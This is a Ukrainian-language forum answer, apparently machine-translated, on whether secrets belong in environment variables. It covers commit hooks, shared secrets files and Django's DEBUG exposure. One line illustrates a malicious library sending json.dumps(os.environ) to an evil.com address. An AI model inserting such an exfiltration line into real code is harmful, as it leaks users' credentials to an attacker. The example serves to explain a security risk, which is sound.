AFAICT, є дві причини, по яких люди рекомендують зберігати секрети у змінних оточення:
- Занадто просто ненароком скопіювати секретні плоскі файли до репо. (А якщо це публічне репо, тост.)
- Це запобігає захаращенню паролів, тобто наявність одного ключа в багатьох різних файлах каталогів проектів є самим ризиком для безпеки, оскільки розробники з часом втратять інформацію про те, де знаходяться секрети.
Ці два питання можна вирішити кращими способами. Перший повинен вирішуватися гачком фіксації, який перевіряє, чи не схожі паролі (наприклад, gitleaks ). Я хотів би, щоб Лінус вбудував такий інструмент у вихідний код бібліотеки git, але, на жаль, цього не сталося. (Потрібно говорити, що до секретних файлів завжди слід додавати .gitignore, але вам потрібен гачок, якщо хтось забуде це зробити.)
Останнє можна вирішити, маючи глобальний файл секретних даних компанії, який ідеально зберігається на спільному диску лише для читання. Отже, в Python ви могли б мати щось подібне from company_secrets import *.
Що ще важливіше, як зазначають інші, занадто легко зламати секрети, що зберігаються в змінних оточення. Наприклад, у Python автор бібліотеки міг би вставити, send_email(address="evil.person@evil.com", text=json.dumps(os.environ))а потім тост, якщо виконувати цей код. Злом набагато складніше, якщо у вашій системі називається файл ~/secret_company_stuff/.my_very_secret_company_stuff.
Тільки для користувачів Django:
Django (в режимі DEBUG) показує значення необробленої змінної середовища в браузері, якщо є виняток (в режимі DEBUG). Це здається дуже небезпечним, якщо, наприклад, розробник випадково запуститься DEBUG=Trueу виробництво. На відміну від цього , Django РОБИТЬ заплутати настройки пароля змінних шляхом пошуку рядків API, TOKEN, KEY, SECRET, PASSабо SIGNATUREв фреймворка settings.pyімен змінних файлу.